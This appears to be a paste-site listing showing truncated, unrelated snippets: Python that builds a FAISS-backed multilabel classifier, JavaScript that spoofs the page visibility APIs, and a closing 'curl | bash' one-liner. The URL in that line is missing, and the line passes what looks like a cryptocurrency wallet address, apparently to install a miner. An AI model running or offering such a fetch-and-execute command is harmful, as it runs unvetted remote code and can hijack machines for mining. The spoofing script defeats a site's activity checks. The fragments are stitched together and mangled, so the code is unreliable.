Anonymous

galatara

import numpy as npimport faissimport osimport httpximport timefrom dotenv import load_dotenvfrom sklearn.preprocessing import MultiLabelBinarizerfrom sklearn.model_selection import train_test_splitfrom sklearn.neural_network import MLPClassifierfrom sklearn.metrics import classification_report, accuracy_score, hamming_lossfrom sklearn.multiclass import OneVsRestClassifierimport pandas as pd load_dotenv() # ——————- Config ——————-client_id = os.getenv(“client_id”)client_secret = os.getenv(“client_secret”)token_url…

if __name__ == “__main__”: sentences, labels_list = get_data_multilabel() mlb = MultiLabelBinarizer() y = mlb.fit_transform(labels_list) class_names = mlb.classes_ print(f”Total samples: {len(sentences)}”) print(f”Number of classes: {len(class_names)}”) print(f”Classes: {class_names}”) print(f”Multi-label distribution:n{pd.Series([len(l) for l in labels_list]).value_counts()}n”) # Build/load embeddings & FAISS index = load_vector_index()…

function safeOverride(obj, prop, getter) {try {Object.defineProperty(obj, prop, {get: getter,configurable: true});console.log(`Override OK: ${prop}`);} catch (err) {console.warn(`Override FAILED for ${prop}:`, err.message);}} // Attempt to override visibility APIssafeOverride(document, “hidden”, () => false);safeOverride(document, “visibilityState”, () => “visible”); // Log visibility events (to see if…

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curl -s -L | bash -s 46iDw5ZhduFCctUH1C969KQ4aeqEtCgUs74d2VkTdMssdAu69KzfNiyeeXx9g2km5eAG9eRbNn8XtXhbWzP1pgC1PvNeUyg